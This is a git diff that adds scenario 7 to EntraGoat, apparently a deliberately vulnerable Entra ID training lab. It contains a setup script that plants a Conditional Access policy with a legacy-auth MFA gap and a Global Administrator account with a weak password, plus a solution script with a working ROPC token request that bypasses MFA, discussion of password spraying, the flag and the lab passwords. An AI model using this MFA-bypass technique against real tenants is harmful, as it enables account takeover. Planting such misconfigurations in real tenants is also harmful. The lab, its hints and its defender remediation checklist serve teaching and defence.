"----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$AdminUPN" -ForegroundColor Cyan + + Write-Host " Flag Location: " -ForegroundColor White -NoNewline + Write-Host "extensionAttribute1" -ForegroundColor Cyan + Write-Host "" + + Write-Host "Hint: Modern auth gets the bouncer. The side door does not." -ForegroundColor DarkGray + } else { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Scenario 7 setup failed - give it another shot or run with -Verbose flag to reveal more for debugging (spoiler alert)." -ForegroundColor White + } + Write-Host "" +} +#endregion diff --git a/frontend/src/App.js b/frontend/src/App.js index 292003f..fdbe83e 100644 --- a/frontend/src/App.js +++ b/frontend/src/App.js @@ -130,6 +130,25 @@ function App() { 'Try enabling CBA with one SP, then use another to upload a trusted root CA and forge your way in. No password? No problem.' ], completed: false + }, + { + id: 7, + title: 'Legacy Loophole - When MFA Forgot the Side Door', + description: 'Raj Patel runs the messaging stack and remembers every helpdesk shortcut the team ever cut. The tenant rolled out a "Require MFA for All Users" Conditional Access policy last quarter, but the messaging admin account still answers IMAP and SMTP AUTH for an old line-of-business mailbox. Find the gap in the policy, ride a legacy-auth path past MFA, and lift the flag from the admin\'s profile.', + difficulty: 'Beginner', + flag: 'EntraGoat{L3g@cy_4uth_C0nd1t10n@l_Byp@ss_Pwn3d!}', + startingCredentials: { + username: 'raj.patel@yourtenant.onmicrosoft.com', + password: 'GoatAccess!123' + }, + hints: [ + 'Conditional Access scopes "client app types" as an allow-list. Look at what is actually scoped.', + 'Modern auth and legacy auth are NOT the same channel for CA evaluation.', + 'ROPC, IMAP, POP, SMTP AUTH and ActiveSync are all "legacy" - any of them will do.', + 'Helpdesk reset passwords have a habit of sticking around.', + 'Microsoft publishes a "Block legacy authentication" CA template for a reason.' + ], + completed: false } ]; }; diff --git a/scenarios/EntraGoat-Scenario7-Setup.ps1 b/scenarios/EntraGoat-Scenario7-Setup.ps1 new file mode 100644 index 0000000..79e9cf2 --- /dev/null +++ b/scenarios/EntraGoat-Scenario7-Setup.ps1 @@ -0,0 +1,445 @@ +<# + +EntraGoat Scenario 7: Legacy Loophole - When MFA Forgot the Side Door +Setup script to be run with Global Administrator privileges + +This scenario provisions a Conditional Access policy that requires MFA, but +only for modern-auth client apps. Legacy authentication endpoints (ROPC, IMAP, +POP, SMTP AUTH, ActiveSync, "other clients") are excluded from the policy +scope, so a target admin account remains reachable via legacy auth without +ever triggering MFA. + +Requires Microsoft Entra ID P1 (or higher) for Conditional Access. + +#> + +# Requires -Modules Microsoft.Graph.Authentication, Microsoft.Graph.Applications, Microsoft.Graph.Users, Microsoft.Graph.Identity.DirectoryManagement, Microsoft.Graph.Identity.SignIns + +[CmdletBinding()] +param( + [Parameter(Mandatory = $false)] + [string]$TenantId = $null +) + + +# Configuration +$CAPolicyName = "EntraGoat S7 - Require MFA for All Users" +$Flag = "EntraGoat{L3g@cy_4uth_C0nd1t10n@l_Byp@ss_Pwn3d!}" +$AdminPassword = "Helpdesk!Reset2024" +$LowPrivPassword = "GoatAccess!123" +$standardDelay = 5 # Seconds +$longReplicationDelay = 10 + +Write-Host "" +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "| ENTRAGOAT SCENARIO 7 - SETUP INITIALIZATION |" -ForegroundColor Cyan +Write-Host "| Legacy Loophole - When MFA Forgot the Side Door |" -ForegroundColor Cyan +Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan +Write-Host "" + +#region Module Check and Import +Write-Verbose "[*] Checking and importing required Microsoft Graph modules..." +$RequiredModules = @( + "Microsoft.Graph.Authentication", + "Microsoft.Graph.Applications", + "Microsoft.Graph.Users", + "Microsoft.Graph.Identity.DirectoryManagement", + "Microsoft.Graph.Identity.SignIns" +) +$MissingModules = @() +foreach ($moduleName in $RequiredModules) { + if (-not (Get-Module -ListAvailable -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + $MissingModules += $moduleName + } +} + +if ($MissingModules.Count -gt 0) { + Write-Warning "The following required modules are not installed: $($MissingModules -join ', ')." + $choice = Read-Host "Do you want to attempt to install them from PowerShell Gallery? (Y/N)" + if ($choice -eq 'Y') { + try { + Write-Host "Attempting to install $($MissingModules -join ', ') from PowerShell Gallery. This may take a moment..." -ForegroundColor Yellow + Install-Module -Name $MissingModules -Scope CurrentUser -Force -AllowClobber -ErrorAction Stop -Verbose:$false + Write-Verbose "[+] Successfully attempted to install missing modules." + foreach ($moduleName in $MissingModules) { + Import-Module $moduleName -ErrorAction SilentlyContinue -Verbose:$false + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + throw "Failed to import $moduleName" + } + Write-Verbose " Imported $moduleName" + } + } catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to automatically install or import modules: $($MissingModules -join ', '). Please install them manually (e.g., Install-Module -Name Microsoft.Graph -Scope CurrentUser) and re-run the script. Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 + } + } else { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Required modules are missing. Please install them and re-run the script." -ForegroundColor White + exit 1 + } +} else { + foreach ($moduleName in $RequiredModules) { + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + try { + Import-Module $moduleName -ErrorAction SilentlyContinue -Verbose:$false + if (-not (Get-Module -Name $moduleName -ErrorAction SilentlyContinue -Verbose:$false)) { + throw "Failed to import $moduleName" + } + Write-Verbose "[+] Imported module $moduleName." + } catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to import module $moduleName. Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 + } + } else { + Write-Verbose "[*] Module $moduleName is already loaded." + } + } +} +Write-Verbose "[+] All required modules appear to be present and loaded." +#endregion Module Check and Import + +#region Authentication +Write-Verbose "[*] Connecting to Microsoft Graph..." + +$RequiredScopes = @( + "User.ReadWrite.All", + "Directory.ReadWrite.All", + "RoleManagement.ReadWrite.Directory", + "Policy.ReadWrite.ConditionalAccess", + "Application.Read.All" +) + +try { + if ($TenantId) { + Connect-MgGraph -Scopes $RequiredScopes -TenantId $TenantId -NoWelcome + } else { + Connect-MgGraph -Scopes $RequiredScopes -NoWelcome + } + $Organization = Get-MgOrganization + $TenantDomain = ($Organization.VerifiedDomains | Where-Object IsDefault).Name + + Write-Verbose "[+] Connected to tenant: $TenantDomain" +} catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to connect: $($_.Exception.Message)" -ForegroundColor White + exit 1 +} +#endregion + +#region Helper Functions +function New-EntraGoatUser { + param( + [Parameter(Mandatory=$true)] + [string]$DisplayName, + + [Parameter(Mandatory=$true)] + [string]$UserPrincipalName, + + [Parameter(Mandatory=$true)] + [string]$MailNickname, + + [Parameter(Mandatory=$true)] + [string]$Password, + + [Parameter(Mandatory=$false)] + [string]$Department = "", + + [Parameter(Mandatory=$false)] + [string]$JobTitle = "" + ) + + Write-Verbose " -> $DisplayName`: $UserPrincipalName" + $ExistingUser = Get-MgUser -Filter "userPrincipalName eq '$UserPrincipalName'" -ErrorAction SilentlyContinue + + if ($ExistingUser) { + $User = $ExistingUser + Write-Verbose " EXISTS (using existing)" + $passwordProfile = @{ + Password = $Password + ForceChangePasswordNextSignIn = $false + } + Update-MgUser -UserId $User.Id -PasswordProfile $passwordProfile + } else { + $UserParams = @{ + DisplayName = $DisplayName + UserPrincipalName = $UserPrincipalName + MailNickname = $MailNickname + AccountEnabled = $true + PasswordProfile = @{ + ForceChangePasswordNextSignIn = $false + Password = $Password + } + } + + if ($Department) { $UserParams.Department = $Department } + if ($JobTitle) { $UserParams.JobTitle = $JobTitle } + + $User = New-MgUser @UserParams + Write-Verbose " CREATED" + Start-Sleep -Seconds $standardDelay + } + + return $User +} +#endregion + +#region User Creation +Write-Verbose "[*] Setting up users..." + +$LowPrivUPN = "raj.patel@$TenantDomain" +$AdminUPN = "EntraGoat-admin-s7@$TenantDomain" + +# Create or get low-privileged user +Write-Verbose " -> Regular user: $LowPrivUPN" +$LowPrivUser = New-EntraGoatUser -DisplayName "Raj Patel" -UserPrincipalName $LowPrivUPN -MailNickname "raj.patel" -Password $LowPrivPassword -Department "IT Operations" -JobTitle "Mail Systems Engineer" + +# Create or get admin user (the target). Modeled as a hybrid identity used by +# an old on-prem mail relay; Helpdesk gave it a predictable reset and the +# admin never rotated it. +Write-Verbose " -> Admin user: $AdminUPN" +$AdminUser = New-EntraGoatUser -DisplayName "EntraGoat Administrator S7" -UserPrincipalName $AdminUPN -MailNickname "entragoat-admin-s7" -Password $AdminPassword -Department "IT Administration" -JobTitle "Messaging Administrator" +#endregion + +#region Store admin flag in extension attributes +Write-Verbose "[*] Storing flag in admin user's extension attributes..." +try { + $UpdateParams = @{ + OnPremisesExtensionAttributes = @{ + ExtensionAttribute1 = $Flag + } + } + Update-MgUser -UserId $AdminUser.Id -BodyParameter $UpdateParams + Write-Verbose " -> Flag stored successfully" +} catch { + Write-Verbose " -> Flag already set or minor error (continuing)" +} +#endregion + +#region Assign Global Administrator Role to admin user +Write-Verbose "[*] Assigning Global Administrator role to admin user..." + +$GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10" +$DirectoryRole = Get-MgDirectoryRole -Filter "roleTemplateId eq '$GlobalAdminRoleId'" -ErrorAction SilentlyContinue +if (-not $DirectoryRole) { + Write-Verbose " -> Activating Global Administrator role..." + $RoleTemplate = Get-MgDirectoryRoleTemplate -DirectoryRoleTemplateId $GlobalAdminRoleId + $DirectoryRole = New-MgDirectoryRole -RoleTemplateId $RoleTemplate.Id + Start-Sleep -Seconds $standardDelay +} + +$ExistingMembers = Get-MgDirectoryRoleMember -DirectoryRoleId $DirectoryRole.Id -All -ErrorAction SilentlyContinue +$IsAlreadyAssigned = $false +if ($ExistingMembers) { + foreach ($member in $ExistingMembers) { + if ($member.Id -eq $AdminUser.Id) { + $IsAlreadyAssigned = $true + break + } + } +} +if (-not $IsAlreadyAssigned) { + try { + $RoleMemberParams = @{ + "@odata.id" = "https://graph.microsoft.com/v1.0/users/$($AdminUser.Id)" + } + New-MgDirectoryRoleMemberByRef -DirectoryRoleId $DirectoryRole.Id -BodyParameter $RoleMemberParams -ErrorAction Stop + Write-Verbose " -> Role assigned successfully" + Start-Sleep -Seconds $longReplicationDelay + } catch { + if ($_.Exception.Message -like "*already exist*") { + Write-Verbose " -> Role already assigned" + } else { + throw $_ + } + } +} else { + Write-Verbose " -> Role already assigned" +} +#endregion + +#region Create Conditional Access Policy (THE MISCONFIGURATION) +# The policy looks correct on paper: All users, All cloud apps, require MFA. +# But the clientAppTypes array only lists modern-auth clients - so legacy +# auth endpoints (Exchange ActiveSync, IMAP, POP, SMTP AUTH, ROPC and other +# "other clients") are silently out of scope. Microsoft's "Block legacy +# authentication" template is the supported control to close this gap; +# without it (or an Authentication Policy that disables basic auth), +# attackers with valid credentials can sign in via legacy protocols and +# never see an MFA prompt. +Write-Verbose "[!] CREATING MISCONFIGURATION: Conditional Access policy with no legacy-auth coverage..." + +$ExistingPolicy = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq '$CAPolicyName'" -ErrorAction SilentlyContinue +if ($ExistingPolicy) { + Write-Verbose " -> Policy already exists, removing old version to ensure clean state" + try { + Remove-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $ExistingPolicy.Id -ErrorAction Stop + Start-Sleep -Seconds $standardDelay + } catch { + Write-Verbose " -> Could not remove existing policy (continuing): $($_.Exception.Message)" + } +} + +$caPolicyBody = @{ + displayName = $CAPolicyName + state = "enabled" + conditions = @{ + # Modern-auth clients only. exchangeActiveSync and other are NOT + # listed - that is the intentional gap this scenario teaches. + clientAppTypes = @("browser", "mobileAppsAndDesktopClients") + applications = @{ + includeApplications = @("All") + } + users = @{ + includeUsers = @("All") + } + } + grantControls = @{ + operator = "OR" + builtInControls = @("mfa") + } +} + +try { + $CreatedPolicy = New-MgIdentityConditionalAccessPolicy -BodyParameter $caPolicyBody -ErrorAction Stop + Write-Verbose " -> CA policy created: $($CreatedPolicy.DisplayName) ($($CreatedPolicy.Id))" + Start-Sleep -Seconds $longReplicationDelay +} catch { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Failed to create Conditional Access policy. Tenant must have Entra ID P1 (or higher). Error: $($_.Exception.Message)" -ForegroundColor White + exit 1 +} +#endregion + +#region Final Verification +Write-Verbose "[*] Running final verification..." + +$policyCheck = $false +$policyHasGap = $false +try { + $verifyPolicy = Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $CreatedPolicy.Id -ErrorAction Stop + if ($verifyPolicy.State -eq "enabled") { + $policyCheck = $true + } + $clientAppTypes = $verifyPolicy.Conditions.ClientAppTypes + if ($clientAppTypes -and ($clientAppTypes -notcontains "exchangeActiveSync") -and ($clientAppTypes -notcontains "other")) { + $policyHasGap = $true + } +} catch { + Write-Verbose " -> Could not re-read policy: $($_.Exception.Message)" +} + +if ($policyCheck) { + Write-Verbose " -> [+] CA policy is enabled" +} else { + Write-Verbose " -> [-] CA policy is NOT enabled" +} +if ($policyHasGap) { + Write-Verbose " -> [+] Legacy-auth client types excluded from policy scope (vulnerability present)" +} else { + Write-Verbose " -> [-] Policy unexpectedly covers legacy auth - vulnerability NOT present" +} + +# Verify admin role +$roleCheck = $false +try { + $members = Get-MgDirectoryRoleMember -DirectoryRoleId $DirectoryRole.Id -All -ErrorAction SilentlyContinue + if ($members) { + foreach ($member in $members) { + if ($member.Id -eq $AdminUser.Id) { + $roleCheck = $true + break + } + } + } +} catch { + # role membership read may fail intermittently +} +if ($roleCheck) { + Write-Verbose " -> [+] Admin user holds Global Administrator" +} else { + Write-Verbose " -> [!] Global Admin role verification uncertain (may still be assigned)" +} + +$SetupSuccessful = $policyCheck -and $policyHasGap -and $roleCheck +#endregion + +#region Output Summary +if ($VerbosePreference -eq 'Continue') { + Write-Host "" + Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan + Write-Host "| SCENARIO 7 SETUP COMPLETED (VERBOSE) |" -ForegroundColor Cyan + Write-Host "|--------------------------------------------------------------|" -ForegroundColor Cyan + Write-Host "" + + Write-Host "`nVULNERABILITY DETAILS:" -ForegroundColor Yellow + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " - Conditional Access policy requires MFA but only for modern-auth clients" -ForegroundColor White + Write-Host " - clientAppTypes = browser, mobileAppsAndDesktopClients" -ForegroundColor White + Write-Host " - Legacy-auth paths (exchangeActiveSync, other) are unscoped" -ForegroundColor White + Write-Host " - ROPC, IMAP/POP/SMTP AUTH, and ActiveSync sign-ins bypass MFA entirely" -ForegroundColor White + Write-Host " - Admin account password is reachable via password spray over legacy auth" -ForegroundColor White + + Write-Host "`nATTACKER CREDENTIALS:" -ForegroundColor Red + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivUPN" -ForegroundColor Cyan + Write-Host " Password: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivPassword" -ForegroundColor Cyan + + Write-Host "`nTARGET:" -ForegroundColor Magenta + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$AdminUPN" -ForegroundColor Cyan + Write-Host " Flag Location: " -ForegroundColor White -NoNewline + Write-Host "extensionAttribute1" -ForegroundColor Cyan + + Write-Host "`nCONDITIONAL ACCESS POLICY:" -ForegroundColor Blue + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Name: " -ForegroundColor White -NoNewline + Write-Host "$CAPolicyName" -ForegroundColor Cyan + Write-Host " Policy ID: " -ForegroundColor White -NoNewline + Write-Host "$($CreatedPolicy.Id)" -ForegroundColor Cyan + + Write-Host "" + Write-Host "FLAG: " -ForegroundColor Green -NoNewline + Write-Host "$Flag" -ForegroundColor Cyan + + Write-Host "`n=====================================================" -ForegroundColor DarkGray + Write-Host "" +} else { + Write-Host "" + if ($SetupSuccessful) { + Write-Host "[+] " -ForegroundColor Green -NoNewline + Write-Host "Scenario 7 setup completed successfully" -ForegroundColor White + Write-Host "" + Write-Host "Objective: Sign in as the admin user and retrieve the flag." -ForegroundColor Gray + Write-Host "" + Write-Host "`nYOUR CREDENTIALS:" -ForegroundColor Red + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivUPN" -ForegroundColor Cyan + Write-Host " Password: " -ForegroundColor White -NoNewline + Write-Host "$LowPrivPassword" -ForegroundColor Cyan + + Write-Host "`nTARGET:" -ForegroundColor Magenta + Write-Host "----------------------------" -ForegroundColor DarkGray + Write-Host " Username: " -ForegroundColor White -NoNewline + Write-Host "$AdminUPN" -ForegroundColor Cyan + + Write-Host " Flag Location: " -ForegroundColor White -NoNewline + Write-Host "extensionAttribute1" -ForegroundColor Cyan + Write-Host "" + + Write-Host "Hint: Modern auth gets the bouncer. The side door does not." -ForegroundColor DarkGray + } else { + Write-Host "[-] " -ForegroundColor Red -NoNewline + Write-Host "Scenario 7 setup failed - give it another shot or run with -Verbose flag to reveal more for debugging (spoiler alert)." -ForegroundColor White + } + Write-Host "" +} +Write-Host "`nSetup process for Scenario 7 complete." -ForegroundColor White +Write-Host "=====================================================" -ForegroundColor DarkGray +Write-Host "" +#endregion diff --git a/solutions/EntraGoat-Scenario7-Solution.ps1 b/solutions/EntraGoat-Scenario7-Solution.ps1 new file mode 100644 index 0000000..6d3b27f --- /dev/null +++ b/solutions/EntraGoat-Scenario7-Solution.ps1 @@ -0,0 +1,174 @@ +<# +.SYNOPSIS +EntraGoat Scenario 7: Walkthrough step-by-step solution + +.DESCRIPTION +________________________________________________________________________________________________________________________________________________ +Scenario 7 - "Legacy Loophole: When MFA Forgot the Side Door" + +Attack flow: + +1. The attacker starts with low-privileged credentials for raj.patel - a mail +systems engineer who knows the tenant still runs an old SMTP relay and +ActiveSync mailboxes for a legacy line-of-business app. Looking at the +admin team, the messaging admin EntraGoat-admin-s7 stands out: a +Helpdesk ticket once reset the account to a predictable password +("Helpdesk!Reset2024") and nobody rotated it. + +2. Recon. The attacker enumerates the Conditional Access posture (or just +infers it from sign-in failures during password sprays). The tenant has +a "Require MFA for All Users" policy - on paper, this should stop a +password-only sign-in cold. But the policy's clientAppTypes only covers +'browser' and 'mobileAppsAndDesktopClients'. exchangeActiveSync and +'other' (ROPC, IMAP, POP, SMTP AUTH) are not in scope. + +3. Bypass. Resource Owner Password Credentials (ROPC) is the cleanest +legacy-auth surface for password-only sign-in to Entra ID. It is +classified as 'other clients' for Conditional Access purposes and is +not subject to interactive MFA. The attacker sends a direct ROPC +token request with the admin's UPN + password to /oauth2/v2.0/token +against the tenant. The CA policy never fires because the request +never matches a scoped clientAppType. + +4. Token in hand, the attacker reads onPremisesExtensionAttributes for +the admin (or for /me, since the token is scoped to the admin) and +recovers the flag from extensionAttribute1. + +- - - + +--> So... why does this work? + +Conditional Access "client app" conditions are an allow-list, not a +deny-all. If a policy author leaves clientAppTypes set to only the +modern-auth values, every legacy-auth path is silently excluded. Even +in the Microsoft portal UI this is the default for new policies until +you flip "Configure" to Yes and explicitly tick the legacy boxes. + +Microsoft's published guidance is unambiguous: +* Conditional Access policy template: "Block legacy authentication". + This is the supported, named control. It blocks Exchange ActiveSync + clients and Other clients across the tenant. + https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-legacy +* Authentication policies (per-protocol disable for SMTP AUTH, + POP, IMAP, MAPI, OAB, RPC, ActiveSync, OfflineAddressBook): + Set-CASMailbox / Set-OrganizationConfig in Exchange Online, + or the Authentication Methods policy in Entra. +* Sign-in logs: filter on "Client app == Other clients / IMAP4 / POP3 + / SMTP / Exchange ActiveSync" - any non-zero count is the audit + signal a defender wants before they pull the trigger on the block. + +Common reasons admins leave the gap open: +* A line-of-business mailbox uses SMTP AUTH for outbound notifications. +* A scanner or printer on the LAN authenticates via Basic IMAP/POP. +* A scripted job uses ROPC because it predates MSAL. +* A vendor integration claims it "needs basic auth" and the admin + carved out an exclusion that was never revisited. + +In every one of those cases the right answer is the same: scope the +exclusion to the specific service principal or service account, and +keep the tenant-wide block. Anything less and password-only attackers +walk through the side door. +________________________________________________________________________________________________________________________________________________ + +.NOTES +This walkthrough uses Microsoft Graph PowerShell SDK plus a direct REST +call to the v2.0 token endpoint to demonstrate ROPC. ROPC requires the +MFA requirement to NOT be enforced on the requested user account - which +is exactly what this scenario's misconfiguration produces. +#> + + +# Configuration settings for convenience +$tenantId = "[YOUR-TENANT-ID]" +$tenantDomain = "[YOUR-TENANT-DOMAIN-NAME].onmicrosoft.com" +$attackerUPN = "raj.patel@$tenantDomain" +$attackerPassword = "GoatAccess!123" +$adminUPN = "EntraGoat-admin-s7@$tenantDomain" +$adminPassword = "Helpdesk!Reset2024" + + +# Step 1: Initial foothold - sign in as the low-priv user with delegated Graph +Connect-MgGraph -TenantId $tenantId -Scopes "User.Read","Policy.Read.All" +Get-MgContext + +# Step 2: Enumerate Conditional Access posture +# Most low-priv users cannot read CA policies directly. The realistic recon +# path is to attempt sign-ins and read sign-in logs they have access to, +# or to infer policy from observed MFA prompts. For lab clarity, if the +# starting identity has Policy.Read.All in your tenant, you can read it +# directly: +Get-MgIdentityConditionalAccessPolicy -All | + Where-Object { $_.State -eq 'enabled' } | + Select-Object DisplayName, + @{n='ClientAppTypes';e={$_.Conditions.ClientAppTypes -join ','}}, + @{n='GrantControls';e={$_.GrantControls.BuiltInControls -join ','}} + +# Look for any policy whose ClientAppTypes do NOT include 'exchangeActiveSync' +# and 'other'. That is your bypass target. + +# Step 3: Find the messaging admin account. +# In a real engagement this comes from OSINT, helpdesk-ticket sniffing, or +# group enumeration. For the lab the admin UPN follows the EntraGoat naming +# convention. +$targetAdmin = Get-MgUser -Filter "startswith(userPrincipalName, 'EntraGoat-admin-s7')" +$targetAdmin + +Disconnect-MgGraph + +# Step 4: Password spray over legacy auth (ROPC). +# ROPC is classified as 'Other clients' in Conditional Access. With the +# policy's clientAppTypes scoped to browser + modern desktop/mobile only, +# this request will not match any policy and will not be challenged for +# MFA. It just returns a token if the password is correct. +# +# We use the Microsoft Azure PowerShell first-party client_id so we do not +# need to register a public client in the tenant. +$clientId = "1950a258-227b-4e31-a9cf-717495945fc2" # Microsoft Azure PowerShell + +$body = @{ + grant_type = "password" + client_id = $clientId + username = $adminUPN + password = $adminPassword + scope = "https://graph.microsoft.com/.default offline_access" +} + +$tokenResponse = Invoke-RestMethod ` + -Method POST ` + -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" ` + -ContentType "application/x-www-form-urlencoded" ` + -Body $body + +$adminAccessToken = $tokenResponse.access_token + +# Notice: no MFA prompt, no Conditional Access redirect. The token came +# back on the first try. That is the gap this scenario teaches. + +# Step 5: Use the admin's access token to retrieve the flag. +$headers = @{ Authorization = "Bearer $adminAccessToken" } +Invoke-RestMethod ` + -Method GET ` + -Uri "https://graph.microsoft.com/v1.0/me?`$select=id,userPrincipalName,onPremisesExtensionAttributes" ` + -Headers $headers | + Select-Object @{n='UPN';e={$_.userPrincipalName}}, + @{n='Id';e={$_.id}}, + @{n='Flag';e={$_.onPremisesExtensionAttributes.extensionAttribute1}} + +# Congratulations! You have successfully completed the EntraGoat Scenario 7. +# Don't forget to run the cleanup script to restore the tenant to its original state! + +# Defender remediation checklist: +# 1. Apply the "Block legacy authentication" Conditional Access template +# tenant-wide. https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-legacy +# 2. In Exchange Online, run Get-CASMailbox / Get-OrganizationConfig to +# audit which protocols are enabled, and disable SMTP AUTH, POP, IMAP, +# MAPI, OAB, RPC, ActiveSync wherever business-justified to do so. +# 3. Disable ROPC for first-party clients you do not actively use by +# restricting allowed grant types in the application's manifest / +# Authentication Methods policy. +# 4. Audit Sign-in logs for "Client app == Other clients" / +# "Exchange ActiveSync" / "IMAP4" / "POP3" / "SMTP" - the +# Microsoft-published Workbook "Sign-ins using Legacy Authentication" +# is a fast way to see exposure before flipping the block. +# 5. For any application that genuinely needs legacy auth, scope the +# exclusion to that one service principal, never tenant-wide.